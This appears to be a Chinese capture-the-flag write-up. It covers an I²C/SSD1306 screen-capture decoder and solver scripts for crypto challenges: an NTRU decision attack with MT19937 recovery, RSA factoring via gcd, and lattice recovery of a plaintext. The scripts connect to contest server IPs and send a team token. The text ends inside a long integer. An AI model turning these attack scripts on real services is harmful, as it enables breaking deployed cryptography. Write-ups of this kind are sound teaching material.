with zf.open(logic_name) as f:
data = f.read()
return np.frombuffer(data, dtype=np.uint8)
def decode_transmissions(samples: np.ndarray) -> List[Tuple[List[int], List[int]]]:
"""Decode I²C start/stop conditions and read data/command bytes.
Each sample byte contains up to eight logic channels. This
function assumes channel 0 is SDA and channel 1 is SCL. It
detects I²C start (falling SDA while SCL high) and stop (rising
SDA while SCL high) conditions, then samples SDA on SCL rising
edges. Bits are grouped into bytes and acknowledge bits are
recorded separately. Each transmission returns the list of
captured bytes along with a list of ack bits.
Args:
samples: A 1‑D numpy array of uint8 representing raw logic
samples.
Returns:
A list of tuples ``(data_bytes, ack_bits)``. ``data_bytes``
contains the decoded bytes for one I²C transaction starting at
a start condition and ending at a stop condition. Ack bits
correspond to every ninth sampled bit (after each byte).
"""
# Extract SDA and SCL from bit0 and bit1 respectively.
sda = (samples & 0x01).astype(np.uint8)
scl = ((samples >> 1) & 0x01).astype(np.uint8)
transmissions: List[Tuple[List[int], List[int]]] = []
bits: List[int] = []
ack_bits: List[int] = []
collecting = False
ack_next = False
bit_count = 0
prev_sda = int(sda[0])
prev_scl = int(scl[0])
def flush_bits() -> None:
"""Convert accumulated bits to bytes and append to transmissions."""
if not bits:
return
byte_list: List[int] = []
# group bits into 8‑bit bytes, ignoring any incomplete byte
for j in range(0, len(bits), 8):
if j + 8 <= len(bits):
b = 0
for bit in bits[j:j + 8]:
b = (b << 1) | bit
byte_list.append(b)
transmissions.append((byte_list, ack_bits.copy()))
for i in range(1, len(samples)):
csda = int(sda[i])
cscl = int(scl[i])
# Detect I²C start: SDA falling while SCL high
if prev_sda == 1 and csda == 0 and cscl == 1:
if collecting:
flush_bits()
# Reset accumulators for new transmission
bits.clear()
ack_bits.clear()
bit_count = 0
ack_next = False
collecting = True
# Detect I²C stop: SDA rising while SCL high
if collecting and prev_sda == 0 and csda == 1 and cscl == 1:
flush_bits()
bits.clear()
ack_bits.clear()
bit_count = 0
ack_next = False
collecting = False
# On SCL rising edge, sample SDA bit
if collecting and prev_scl == 0 and cscl == 1:
if ack_next:
ack_bits.append(csda)
ack_next = False
bit_count = 0
else:
bits.append(csda)
bit_count += 1
if bit_count == 8:
# The next sampled bit will be an ACK
ack_next = True
prev_sda = csda
prev_scl = cscl
# Flush any remaining bits at the end of file
if collecting and bits:
flush_bits()
return transmissions
def analyze_transmissions(transmissions: List[Tuple[List[int], List[int]]]) -> None:
"""分析I²C传输模式以帮助理解帧结构"""
print("\n=== 传输分析 ===")
data_transmissions = 0
cmd_transmissions = 0
for i, (byte_list, _ack) in enumerate(transmissions):
if not byte_list or byte_list[0] != 0x78:
continue
if len(byte_list) < 2:
continue
ctrl = byte_list[1]
if ctrl == 0x40: # 数据传输
data_transmissions += 1
if len(byte_list) > 10: # 大数据包
print(f"传输 {i}: 数据包 (长度: {len(byte_list)-2})")
elif ctrl in (0x00, 0x80): # 命令传输
cmd_transmissions += 1
cmds = byte_list[2:]
if cmds:
cmd_str = " ".join(f"0x{cmd:02X}" for cmd in cmds[:5])
if len(cmds) > 5:
cmd_str += "..."
print(f"传输 {i}: 命令 [{cmd_str}]")
print(f"总计: {cmd_transmissions} 个命令传输, {data_transmissions} 个数据传输")
print("=" * 40)
def parse_display_memory_frames(transmissions: List[Tuple[List[int], List[int]]]) -> List[np.ndarray]:
"""Reconstruct multiple SSD1306 display memory frames from I²C transmissions.
This function interprets the I²C command and data streams to
emulate the SSD1306's page addressing mode and extracts multiple frames.
It handles column addressing (``0x21``), page addressing (``0x22``), memory
addressing mode (``0x20``), lower and upper nibble column
addresses (``0x00``–``0x0F`` and ``0x10``–``0x1F``), and page
start address commands (``0xB0``–``0xB7``). Commands that take
extra parameters are skipped appropriately. Data packets (control
byte ``0x40``) write bytes into the emulated display memory.
Args:
transmissions: A list of decoded transmissions as returned by
``decode_transmissions``.
Returns:
A list of ``(8, 128)`` numpy arrays of type ``uint8`` representing
multiple frames of raw display memory (8 pages × 128 columns each).
"""
# Memory addressing modes (only page mode is used in this capture).
ADDR_MODE_HORIZONTAL = 0
ADDR_MODE_VERTICAL = 1
ADDR_MODE_PAGE = 2
frames: List[np.ndarray] = []
# Display RAM: 8 pages (rows of 8 pixels) × 128 columns.
mem = np.zeros((8, 128), dtype=np.uint8)
memory_mode = ADDR_MODE_PAGE
# Current addressing state
col_start = 0
col_end = 127
page_start = 0
page_end = 7
col_ptr = 0
page_ptr = 0
# Commands that consume one parameter following the opcode.
one_param_cmds = {0x81, 0x8D, 0xD3, 0xD5, 0xA8, 0xDA, 0xDB}
# Commands that take no parameters and don't affect addressing
no_param_cmds = {
0xA0, 0xA1, 0xA4, 0xA5, 0xA6, 0xA7,
0xAF, 0xAE, 0xC0, 0xC8,
0x25, 0x26,
}
# Frame detection variables
frame_started = False
data_written = False
def save_current_frame():
"""保存当前帧到frames列表"""
nonlocal mem, data_written
if data_written:
frames.append(mem.copy())
data_written = False
print(f"检测到第 {len(frames)} 帧")
def is_frame_start_command(cmds_list):
"""检测是否为帧开始的命令序列"""
if not cmds_list:
return False
# 常见的帧开始模式
if len(cmds_list) >= 3:
# 检查是否有地址设置命令
if (0x21 in cmds_list[:3] or # 列地址
0x22 in cmds_list[:3] or # 页地址
any(0xB0 <= cmd <= 0xB7 for cmd in cmds_list[:3])): # 页开始地址
return True
return False
for byte_list, _ack in transmissions:
if not byte_list:
continue
# First byte is the 7‑bit address plus R/W bit (0x78 for write)
if byte_list[0] != 0x78:
continue
# Second byte is the control byte (0x00/0x80 for command, 0x40 for data)
ctrl = byte_list[1]
if ctrl in (0x00, 0x80):
cmds = deque(byte_list[2:])
cmd_list = list(cmds) # 保存完整命令列表用于分析
# 检查是否为帧开始命令序列
if is_frame_start_command(cmd_list) and data_written:
save_current_frame()
while cmds:
cmd = cmds.popleft()
# 设置列地址范围
if cmd == 0x21 and len(cmds) >= 2:
col_start = cmds.popleft()
col_end = cmds.popleft()
col_ptr = col_start
continue
# 设置页地址范围
if cmd == 0x22 and len(cmds) >= 2:
page_start = cmds.popleft()
page_end = cmds.popleft()
page_ptr = page_start
continue
# Set memory addressing mode
if cmd == 0x20 and cmds:
memory_mode = cmds.popleft()
continue
# Lower nibble of column address
if 0x00 <= cmd <= 0x0F:
col_ptr = (col_ptr & 0xF0) | cmd
continue
# Upper nibble of column address
if 0x10 <= cmd <= 0x1F:
col_ptr = ((cmd & 0x0F) << 4) | (col_ptr & 0x0F)
continue
# Set page start address
if 0xB0 <= cmd <= 0xB7:
new_page = cmd & 0x0F
# 更灵敏的帧检测:任何页地址重置都可能是新帧
if new_page == 0 and data_written and page_ptr != 0:
save_current_frame()
page_ptr = new_page
continue
# Skip one parameter if necessary
if cmd in one_param_cmds and cmds:
cmds.popleft()
continue
# Ignore commands that have no parameters and do not affect addressing
if cmd in no_param_cmds:
continue
# For any unrecognised command, do nothing
# It may be part of an init sequence we don't need to emulate
elif ctrl == 0x40:
# Data bytes follow; write them into display memory
for d in byte_list[2:]:
if 0 <= page_ptr < 8 and 0 <= col_ptr < 128:
mem[page_ptr, col_ptr] = d
data_written = True
# Increment pointers according to addressing mode
if memory_mode == ADDR_MODE_PAGE:
col_ptr += 1
if col_ptr > col_end:
col_ptr = col_start
page_ptr += 1
if page_ptr > page_end:
page_ptr = page_start
elif memory_mode == ADDR_MODE_HORIZONTAL:
col_ptr += 1
if col_ptr > col_end:
col_ptr = col_start
page_ptr += 1
if page_ptr > page_end:
page_ptr = page_start
elif memory_mode == ADDR_MODE_VERTICAL:
page_ptr += 1
if page_ptr > page_end:
page_ptr = page_start
col_ptr += 1
if col_ptr > col_end:
col_ptr = col_start
# Other control values are unexpected; ignore
# 保存最后一帧
if data_written:
save_current_frame()
return frames
def mem_to_pixels(mem: np.ndarray, lsb_top: bool = True) -> np.ndarray:
"""Convert display RAM to a bitmap of pixels.
Args:
mem: A 2‑D array of shape ``(8, 128)`` representing the SSD1306
display memory, where each entry is a byte whose bits map to
eight vertical pixels.
lsb_top: If True, the least‑significant bit of each byte
corresponds to the topmost pixel within a page. Set to
False to map the most‑significant bit to the top.
Returns:
A 2‑D numpy array of shape ``(64, 128)`` containing binary
pixel values (0 or 1).
"""
height, width = 64, 128
pixels = np.zeros((height, width), dtype=np.uint8)
for page in range(8):
for col in range(width):
byte = int(mem[page, col])
for bit in range(8):
row = page * 8 + bit
if lsb_top:
bit_val = (byte >> bit) & 0x01
else:
bit_val = (byte >> (7 - bit)) & 0x01
pixels[row, col] = bit_val
return pixels
def save_image(pixels: np.ndarray, out_path: str, rotate_clockwise: bool = True) -> None:
"""Save a pixel array as a PNG image.
The image is rotated 90 degrees clockwise by default, which
matches the orientation shown on the device. The pixel values are
scaled to 0–255.
Args:
pixels: A 2‑D numpy array of 0/1 values.
out_path: Path where the PNG should be saved.
rotate_clockwise: If True, rotate the image 90 degrees
clockwise before saving.
"""
# Rotate if requested
img_arr = pixels
if rotate_clockwise:
# numpy.rot90 with -1 rotates 90° clockwise
img_arr = np.rot90(img_arr, -1)
img = Image.fromarray((img_arr * 255).astype(np.uint8))
img.save(out_path)
def save_multiple_frames(frames: List[np.ndarray], base_name: str = 'frame', rotate_clockwise: bool = False) -> List[str]:
"""保存多个帧为PNG图像文件.
Args:
frames: 包含多个显示内存帧的列表
base_name: 输出文件的基础名称
rotate_clockwise: 是否顺时针旋转90度
Returns:
保存的文件路径列表
"""
saved_files = []
for i, mem in enumerate(frames):
# Convert to bitmap (LSB at top of each byte)
pixels = mem_to_pixels(mem, lsb_top=True)
# Generate filename
if len(frames) == 1:
filename = f'{base_name}.png'
else:
filename = f'{base_name}_{i+1:03d}.png'
# Save the image
save_image(pixels, filename, rotate_clockwise=rotate_clockwise)
saved_files.append(filename)
return saved_files
def main(argv: List[str]) -> None:
if len(argv) > 1:
sr_path = argv[1]
else:
sr_path = 'LegacyOLED.sr'
print(f'正在处理文件: {sr_path}')
# Read raw samples from the .sr file
samples = read_logic_data(sr_path)
print(f'读取到 {len(samples)} 个样本')
# Decode I²C transmissions
transmissions = decode_transmissions(samples)
print(f'解码到 {len(transmissions)} 个I²C传输')
# Analyze transmissions to understand frame patterns
analyze_transmissions(transmissions)
# Reconstruct multiple display memory frames
frames = parse_display_memory_frames(transmissions)
if not frames:
print('未检测到任何帧数据')
return
print(f'总共检测到 {len(frames)} 帧')
# Save all frames
saved_files = save_multiple_frames(frames, base_name='output', rotate_clockwise=False)
print('保存的文件:')
for filename in saved_files:
print(f' - {filename}')
# 兼容性:如果只有一帧,也保存为output.png
if len(frames) == 1 and saved_files[0] != 'output.png':
pixels = mem_to_pixels(frames[0], lsb_top=True)
save_image(pixels, 'output.png', rotate_clockwise=False)
print(' - output.png (兼容性副本)')
if __name__ == '__main__':
main(sys.argv)
获得图片
lsb一下就行了
问卷调查
签到
flag{我已阅读参赛须知,并遵守比赛规则。}
CRYPTO
Blurred
n太大,没法格基规约,考虑把问题转换成一个判定问题去打随机数
在x+1的子环下,原NTRU问题可判
from Pwn4Sage.pwn import *
from tqdm import trange
context.log_level = 'error'
q = 1342261
n = 1031
PR = PolynomialRing(Zmod(q), "x")
x = PR.gens()[0]
Q = PR.quotient(x**n + 1)
def judge(h1, h2):
mark = 1
t1 = int((h1).lift()%(x+1))
t2 = int((h2).lift()%(x+1))
for i in range(-200, 0):
tt1 = (t1 * i) % q
tt2 = (t2 * i) % q
if min(tt1, q - int(tt1)) < 100 and min(tt2, q - int(tt2)) < 100:
mark = 0
break
for i in range(1, 200):
tt1 = (t1 * i) % q
tt2 = (t2 * i) % q
if min(tt1, q - int(tt1)) < 100 and min(tt2, q - int(tt2)) < 100:
mark = 0
break
return mark
re = remote('', )
bit = []
for i in trange(20000):
re.sendline(b'1')
re.recvuntil(b'Hints:')
pk = re.recvline().split(b'] [')
pk1, pk2 = Q(eval(pk[0] + b']')), Q(eval(b'[' + pk[1]))
bit.append(judge(pk1, pk2))
re.sendline(b'2')
re.recvuntil(b'Flag:')
c = eval(re.recvline())
print(c)
re.sendline(b'2')
re.recvuntil(b'Flag:')
c = eval(re.recvline())
print(c)
既然NTRU问题已经可判,可根据每轮的结果恢复getrandbits1,然后对mt19937进行state的恢复,恢复以后就可以对AES进行解密了
from Pwn4Sage.pwn import *
from tqdm import trange
context.log_level = 'error'
q = 1342261
n = 1031
PR = PolynomialRing(Zmod(q), "x")
x = PR.gens()[0]
Q = PR.quotient(x**n + 1)
def judge(h1, h2):
mark = 1
t1 = int((h1).lift()%(x+1))
t2 = int((h2).lift()%(x+1))
for i in range(-200, 0):
tt1 = (t1 * i) % q
tt2 = (t2 * i) % q
if min(tt1, q - int(tt1)) < 200 and min(tt2, q - int(tt2)) < 200:
mark = 0
break
for i in range(1, 200):
tt1 = (t1 * i) % q
tt2 = (t2 * i) % q
if min(tt1, q - int(tt1)) < 200 and min(tt2, q - int(tt2)) < 200:
mark = 0
break
return mark
re = remote('47.93.103.116', 32820)
bit = []
for i in trange(20000):
re.sendline(b'1')
re.recvuntil(b'Hints:')
pk = re.recvline().split(b'] [')
pk1, pk2 = Q(eval(pk[0] + b']')), Q(eval(b'[' + pk[1]))
bit.append(judge(pk1, pk2))
re.sendline(b'2')
re.recvuntil(b'Flag:')
c = eval(re.recvline())
print(c)
re.sendline(b'2')
re.recvuntil(b'Flag:')
c = eval(re.recvline())
print(c)
from Crypto.Util.number import *
from random import *
import random
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
from Crypto.Util.Padding import pad
from tqdm import *
######################################################### part1 recover MT and get seed
RNG = Random()
def construct_a_row(RNG):
row = []
for i in range(20000):
row += [RNG.getrandbits(1)]
return row
L = []
for i in trange(19968):
state = [0]*624
temp = "0"*i + "1"*1 + "0"*(19968-1-i)
for j in range(624):
state[j] = int(temp[32*j:32*j+32],2)
RNG.setstate((3,tuple(state+[624]),None))
if i >= 1 and i <= 31:
a = construct_a_row(RNG)
assert matrix(a) == 0
continue
RNG.setstate((3,tuple(state+[624]),None))
L.append(construct_a_row(RNG))
L = Matrix(GF(2),L)
R = bit
R = vector(GF(2),R)
print('[+] rank: ', L.rank())
s = L.solve_left(R)
init = str(s[0]) + '0' * 31 + "".join(list(map(str,s[1:])))
state = []
for i in range(624):
state.append(int(init[32*i:32*i+32],2))
RNG1 = Random()
RNG1.setstate((3,tuple(state+[624]),None))
######################################################### part2 set seed and recover shuffle
for i in range(20000):
a = RNG1.getrandbits(1)
assert a == bit[i]
SHA = SHA256.new()
SHA.update(str(RNG1.getrandbits(256)).encode())
KEY = SHA.digest()
cipher = AES.new(KEY, AES.MODE_ECB)
print(cipher.decrypt(b''))
check-little
n和c有公约数,因此对n和c进行gcd,就可以把n给分解
from gmpy2 import iroot
from Crypto.Util.number import *
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
N = 18795243691459931102679430418438577487182868999316355192329142792373332586982081116157618183340526639820832594356060100434223256500692328397325525717520080923556460823312550686675855168462443732972471029248411895298194999914208659844399140111591879226279321744653193556611846787451047972910648795242491084639500678558330667893360111323258122486680221135246164012614985963764584815966847653119900209852482555918436454431153882157632072409074334094233788430465032930223125694295658614266389920401471772802803071627375280742728932143483927710162457745102593163282789292008750587642545379046283071314559771249725541879213
c = 10533300439600777643268954021939765793377776034841545127500272060105769355397400380934565940944293911825384343828681859639313880125620499839918040578655561456321389174383085564588456624238888480505180939435564595727140532113029361282409382333574306251485795629774577583957179093609859781367901165327940565735323086825447814974110726030148323680609961403138324646232852291416574755593047121480956947869087939071823527722768175903469966103381291413103667682997447846635505884329254225027757330301667560501132286709888787328511645949099996122044170859558132933579900575094757359623257652088436229324185557055090878651740
iv = b'\x91\x16\x04\xb9\xf0RJ\xdd\xf7}\x8cW\xe7n\x81\x8d'
ciphertext = 0xbf87027bc63e69d3096365703a6d47b559e0364b1605092b6473ecde6babeff2
p = gcd(c, N)
q = N // p
d = inverse_mod(3, (q-1)*(p-1))
key = pow(c, d, N)
print(key)
ciphertext = AES.new(key = long_to_bytes(key)[:16], iv = iv, mode = AES.MODE_CBC).decrypt(long_to_bytes(ciphertext))
print(ciphertext)
sk
给了一个多项式乘法,先生成度为2的f多项式和h多项式,做
$$P=f(b_1,b_2),Q=h(b_1,b_2) $$
生成大整数,有
$$P=R_1P\mod S_1\\ Q=R_2Q\mod S_2 $$
加密阶段生成随机数ui,有
$$PP=\sum_i\sum_j[(u_i*\text{pt}^j)\%p]P_{i,j} $$
这选项一有用吗??他调用了一个encrypt进行加密,加密的是我们指定的msg,但我们已经有公钥了,我们自己也能做到这一点那么考虑调用两次op2,其作用为可以使用我们给的参数进行DIYdecrypt。op2感觉也没实际作用,因为我们可以在自己的本地进行同样的运算那就只能根据pk恢复sk了。
定位到PP = PP + P[i][j] (u pt**j % p),其%p的参数在与S的规模相比是小整数,因此可以使用格基约化进行求解。
求解之后,只需要调用py程序再生成一次enc就可以通过验证
from re import findall
import time
from Pwn4Sage.pwn import *
context.log_level = 'debug'
def solvem(P, Q, PP, QQ, p):
m = block_matrix([[matrix(P + [PP]).T * 2^1000, matrix(Q + [QQ]).T * 2^1000, 1]])
m[:,-1] *= 2^256
m = m.LLL()
for i in m.LLL():
if i[-1] == 2 ^ 256 or i[-1] == -2 ^ 256:
ans = i
if not ans:
return 0
U = ans.list()[2:-1]
if (U[4] / U[3] - U[5] / U[4])%p == 0:
return int((U[5] / U[4])%p)
for i in range(25):
index1, index2 = int(i%5), i // 5
nowa = ans + (index1 - 2) * m[0] + (index2 - 2) * m[1]
U = (nowa).list()[2:-1]
if (U[4] / U[3] - U[5] / U[4])%p == 0:
return int((U[5] / U[4])%p)
re = remote('47.104.146.31', 7777)
re.recvuntil(b'team token:')
re.sendline(b'icq7f5964acc4a3cf14f31a55df4ae9e')
pk = eval(re.recvline())
enc_ticket = eval(re.recvline())
PP, QQ, P, Q, p = enc_ticket[0], enc_ticket[1], pk[0][0] + pk[0][1], pk[1][0] + pk[1][1], pk[2]
m = solvem(P, Q, PP, QQ, p)
print(m, p)
enc_ticket, f, h, R1, S1, R2, S2 = eval(input())
re.recvuntil(b'op>')
re.sendline(b'2')
re.recvuntil(b'ct:')
re.sendline(f'{enc_ticket[0]} {enc_ticket[1]}'.encode())
re.recvuntil(b'your f:')
re.sendline(f'{f[0]} {f[1]}'.encode())
re.recvuntil(b'your h:')
re.sendline(f'{h[0]} {h[1]}'.encode())
re.recvuntil(b'your R1 S1:')
re.sendline(f'{R1} {S1}'.encode())
re.recvuntil(b'your R2 S2:')
re.sendline(f'{R2} {S2}'.encode())
re.recvline()
re.recvline()
re.recvline()
re.close()
from random import randint
from Crypto.Util.number import getPrime, inverse, long_to_bytes, bytes_to_long
from math import gcd
import signal
flag = 'flag{123}'
def gen_coprime_num(pbits):
lbits = 2 * pbits + 8
lb = 2**lbits
ub = 2**(lbits + 1)
while True:
r = randint(lb, ub)
s = randint(lb, ub)
if gcd(r, s) == 1:
return r, s
def mult_mod(A, B, p):
result = [0] * (len(A) + len(B) - 1)
for i in range(len(A)):
for j in range(len(B)):
result[i + j] = (result[i + j] + A[i] * B[j]) % p
return result
def gen_key(p):
f = [randint(1, 2**128) for i in ":)"]
h = [randint(1, 2**128) for i in ":("]
R1, S1 = gen_coprime_num(p.bit_length())
R2, S2 = gen_coprime_num(p.bit_length())
B = [[randint(1, p - 1) for i in ":("] for j in ":)"]
P = []
for b in B:
P.append(mult_mod(f, b, p))
Q = []
for b in B:
Q.append(mult_mod(h, b, p))
for i in range(len(P)):
for j in range(len(P[i])):
P[i][j] = P[i][j] * R1 % S1
Q[i][j] = Q[i][j] * R2 % S2
sk = [(R1, S1), (R2, S2), f, h, p]
pk = [P, Q, p]
return sk, pk
def encrypt(pk, pt):
P, Q, p = pk
PP = 0
QQ = 0
U = []
for i in range(len(P)):
u = randint(1, p)
for j in range(len(P[0])):
U.append((u * pt**j % p))
PP = PP + P[i][j] * (u * pt**j % p)
QQ = QQ + Q[i][j] * (u * pt**j % p)
return PP, QQ, U
def decrypt(sk, ct):
RS1, RS2, f, h, p = sk
R1, S1 = RS1
R2, S2 = RS2
P, Q = ct
invR1 = inverse(R1, S1)
invR2 = inverse(R2, S2)
P = (P * invR1 % S1) % p
Q = (Q * invR2 % S2) % p
f0q = f[0] * Q % p
f1q = f[1] * Q % p
h0p = h[0] * P % p
h1p = h[1] * P % p
a = f1q + p - h1p % p
b = f0q + p - h0p % p
pt = -b * inverse(a, p) % p
pt = long_to_bytes(pt)
return pt
def gen_enc(m, p):
sk, pk = gen_key(p)
enc_ticket = encrypt(pk, m)
P, Q, p = pk
RS1, RS2, f, h, p = sk
R1, S1 = RS1
R2, S2 = RS2
return [enc_ticket, f, h, R1, S1, R2, S2]
m, p = eval(input())
print(gen_enc(m, p))
ezran
原题https://tangcuxiaojikuai.xyz/post/69eaef2e.html,脚本改了之后发现不满秩,秩为19937,因此在kernel中爆破,格式为特解加通解的线性组合
from Crypto.Util.number import *
from random import *
from tqdm import *
gift = 1684938514177035885487170297942216136837616080418931368167749889422102019948065964862411110401877993152206999624927460166221559122844780833442590060470644665300665785340916405062528735458476137330607674211659229101658492238197247715569964942663485996377999514986027461724724740435609186551825584873061471732534223693043574351064917538429667973660833727321879411430687346030103125274043364668725645276140924618908662821125246940455306454833515798297113458547638724310797560992578468244112002532574121099406100741374536094290417683158835513964848322482184401138146908791768816871808711315790588374716396956502651903182051787453611869350732713866118445681087409114327653317017935163024792461669403571058375396908831411199974632377872692120884556188290283961410056511965405035210663305225098386016459435113331851148921992388049554099440545801012997624165682192738618560639689157789416931767644898559388396982563641444881796892119788656676649609748788154076436172822275322214507932277708389001815386873289194264503536030810465143910564615916162161740095648288437075912279548917867033507592242779263188098089164102476748979416704222409631484739534565588217287491236262000276711919822476936793206071835892995282067041946017641775724963605442337684503347357121301302675813404733313539591900887425844946132086211859906326198601414054119123624327283143223938183858488979041073728341868527169708160900085351614480344239900419160096481373803437252908367753261141102742977494832759403686254770037587463352058049773998201567459814656748302341997392483231499200583753241891440984490405101656055994582037411115224709471197304285473666917707154994134133675297435152667043497041418933422056532612075736383945170483710860269354490764041319385718295162854386646430527051293461716203050946335101135320125180804624167939278185765096581951458422466817476951695020308195093836352022807170145776644998342431972956276760188654837145378203881777669921327981291914949118045704698184652007777344031842655431590712633687553173952555546238406479404215723481460982886368276910364692376520404380084901324484059202695767865151969099918087881906633146097185679774187561063368878012286310421017071505907789176530226983310381066634374192888677312384389748578265123176444238250154829955027480482065872697083292208085123230864790935166823239959431595941536898159537163440411993709816118485791194088334159485620598142109058188247683619431909888154610543629692971702508682831064319088049693645707678982769423555885862015373283295554929339753471578455074671935253088428389228539521859514655855643710846899670135997566006691804506719069692072778082369240554544563230486242102921000103844162555926495376473645766591701506255843233521232471681986382266191630276885405816486966046907242051482063060787439306809612522224130693089242380130535489494562408290952337168846149923487677703539027851942290055497901108180676970793004008329750763211818349486080580294279841444126903132366288322732511191729205270166464623003842798125608511954118079017861261538141975379293181165382076617497398022555923211855678033365505260467510318279184084362709714185736111102722445227973261685084409746694711027040861547124672297670074127084895529971343305999671368554406438231974162533185015332539611778618397345629069606771771912969154388595358393851017384123081330609138123626763117018278928958269678012470558680105085148038824119167406177633308514818213571093682665998007257722998021814130154450561660939734675251257131812509572865466108756081419409220977419308677192102845399770347943772760462168699081972197486423994816751594244982698625173960037342002165710035606725798905526147420522235409855401624788577966892805420247230068135673356549069921905416072969174670639216701897474729777887867979848137638330312732800796859380294466577988550835849144510498931810484840271392283240802046174003639579857501808255788862861853016497607179491144980599359302307767572322689707887439243847401139411770888251114020560585600912419174008545870038097583297353649768231378927099429060218312518751241270147382474866198449296408896668098125465454826164073128174282600531522650089809212693360143710277352994703587493336932998734586270144985515080362705586331304094910169803457378151898579261982940511670091773080501984956615218841731113512829832320025285975488084053592097935082767958784088981091574807218220437630485094877602609147873947247969001302596692493221045500430502958434260536191435063567018879261331613972523161916657039777973759687891664267986091429455187298788250394163201465905596989209807357349263268298877436286162837745507060847622751950502337682495283993702234804835731737896830159591629527474012992023006154444950607132072120290050047818053943488405566948267735233880711067952297751841371171693458256311493893933358224726402015823229344102270382581318045945157389069402609450391079319896538154826313440778335836747478821397167299824574842729079224612983026917221899277890930049279512141541856129981055381402187685188359076458936110515017429902639664963439543518126678513361841663155711177812947694177729681761339225131292902112163315103433456155485852033818858763974511170544152087465267729354863163122803467803395574349029660644903932235917261681126124851820603816251427394071363868386984935912852258296338065952885010319200448428589647359387095194305965314524183141679330310910882430785987059214895466622330988832378114015504358473444248848751366954327228542518236509673205937841445811229997073961593189538100712941330858075712866915229984547562887606727810951207561559348000536610851513495280429412710251056271412281213121837810935246283045630245687246210045831819651156770276545353295092236237118376830043681607553472512751528463207193247823447120051460715333914730793569835006141950110091480444544548737087569318691271561876289739828927662653976220227794827539096308956022495445161553131019832263820168962645140305884826316390614130565291593309045474064647406875186423817199471154723526429652844559165399201807036876369325696121032816627733216450164035730814425554154785552675226174953824862651894930566702106228066485571374567000104847645229599094038971796971599877433468529194413329510290881942666454950521290939227346536993930945847717408295825264000199746488457369366865301607541085930210944049248290587658550818978707674891739936520589303792237844561276514344217168130862104639699549084107364274016373683172703149528981702302566215853745832595216868818604286175960742551725980001668844335155352246339187047025069761069544898944389880354754824786592208260191097276369925646069294211997149002645057775345589697665672516181465485644217976292503328181615094497869697516076533121458965691042920052577312908167573948358526007985641627944371223319670960023404996860385145116042601082005998932749805355363480860564436213534503417859216967731152802370515610471289116585234188251158528431404334431075250913292681196611869363798088941897943422827309275583356992365911316397132236927273969017600634930708923976538455380934334617558812857777394380063456135276631010432703524410997164420726239792575662886526797760195361636179340430771023449240253630694264206880342061940488997529072230798628196163218516611995505700901445033432740706274191793579384042813193909212220045192135516566325727449875918471866077020167002779314094698273656668176446593091006725342087853651659359455971022567689977095985018655957202388601040837876502655217996572858018717886379070765169428126573239336185539872012152396340549436658063927206937250044881224554025415705389580917621548534694177236705716419539917883951189946062110283690908078266530859008234656755456193663774893057706249682224774183542794372165709905955592718279837747934541012474755910093457995029133077471009586059182744793487919862239028723318803559467427090532056215307008382630312349516313658887716415217417648181942585046643278551701471016413488213945158222647384083497519251917074302820010179063857016713523596011321947822420485110045556730460062543306524205879250835785188565126668264996103058720669857538459303355646372625774387362749135199612243555483698029621730716087633676812928291079003880087077436421369620738869286492524241385557982402022065697754900929838422305563816916978842522085966814488065825343169463563736974567349021875435520046156797033374420439382757360434704562618264619051575778626654483936242361538962856528447927606767539513610737937186203027293637831457986853012814024570754971951641566715198753167309301588609813102389137093027693776721390448718957479815158219138301671160365795508274902161464147317115396091820269711248782211835696321453650509468771787814014634335707502294748130417147177791244486591217613480521040291475180313005495139897342844946495587835871399607615377235365632706426033954701631349896578196519272674922772983032404579678504511079270945427426284475683685968510903510070835185134645609016814975192136147396815226175985423360340126341917045125511782753032551584381139254691793799118786641071320076246610674040085853788285256816560608123059083247111806684030005764046792106435099974191735882787540746493186365712272348904234076536624787457783783198157106851420537129052719041656029502961820765093357164783448115340571865801676270365934582894126293670736841231808398669328649448682797232814475003299376231175127177002129607794395175501509462177075965773634274571795999478549650563803905077947195955999305682226723223554165291308020122228186135375435881375224060620062312529793990412377710122736417432420250884564849740313307519692780929716594327296923912936407851274512821512721815489428729882020965834090800710779684231222089601011076578725676454754833231683467226243828599198946019838985376400107328497346476060206950456348841155305267897172677289645904795488025709025971535084801080150867057144811112649327111092242954594814440863353818057644262430977805851235824784614280101859500632222248599823971535365270785818182910265213768625630096691368238093091274441436426734632083293615663089652939312669181965090269685432100647583474712469331138801620675191472621206455566416851972070470177596940644550604862817326833696944165645294923771637163456662412759268649229331710871084643585602112809412586975535229992661806897711797272924787715282218288510875672888394461729736947510123013605341716777333266067380899102750454321537881592300396964143584604368416023673812123534428169396754810673982924499461444050923545448500593042405770873565258996381982864688901919059403912589486791703908724300495244548179026951921748100128239514871324481311477781735345820790475739696955410896562544949539177463917292397642707861595309118657992590891448933405440199033802367300969305109483114316646257018123942241083550313489837678070077339954752039294602975318304906808468700357682507064550684563963341673499910403567910604814336689174950283062397194927356598086136437298675798573493551223761519900281160906138480185205221806987352127674958459882159523803117231401889536003684213173071157173724575018142373367401586178397148958449578190583355968490899735219151384048980881435528383342596639782782193274621085894593858999369330335909835741420329333243189279118901259077451254152857987991055301507854562020083882740973439137587943779878727688863396921687741185004604014704977909821701281418327384872779927048656187766985318723037913787369975736030361000989715322602221309946419857743054862349792111803292064843932377552812026549088078364942680325884699565867165746230543738536760607777801972004922597641493269667474832075718226704015707091601254279271955433858331979979787022950656020805257073984897212657920762569228899885603995024869917854450620614606722364938083566571523006694123993284097602462103878343389129337693954418704857743277378185085537328023881807616941427420429640014340436010411446256744612147938299722645258859411865756152172739918501639422648115258826041068819083637699282176000512237172019471362319684158480447444742814982989577261867534312152695073218052700527785568115119808746992826629070565544024809045801695165595382163923511730918834418916076264625573611343627400463586422011884270946898405585127216720123045806535032088403045665924663002036079834164377623501704661248295011248887625708731341342139502869724357087435640059368671420747721534785198563321301821235200845395272855743045995456453920029426614222508715991643821984786799010876580378272041903545034122854077999054745011534210796989845751594831347663878223781038034335997405501218044206531963025699200931455445322205311077829178872091304310121255526950348360341850470673267110774327231443329705964593556091177584393730833700851745780398295677020653884127237202924519314076389290744332948670678128826745208427487172971224444778672555235518322648165015404830109273363235634074288750481109369321337782571924060901871271720945549445489663296626414190428350925293550373573860936348966959323637080398214693386633144614364509080421867690721872681450695797566496968499816763642319316047145838093417137072190552474796532484241285441445459474243774023382297841695852791420848295554502367053768512882387317297680684282712376779643669051969357229446382182059314347319041098820146646527596459593718989494873006437075837445599526904503446144124614175918004833869213205308092375522813646183185944738044325905624681601175952726567256158025101073257606615610793439621254267442188719391967101810268979800781419209882353514150445513175784907541188047491659758940165054093908440620600289416046538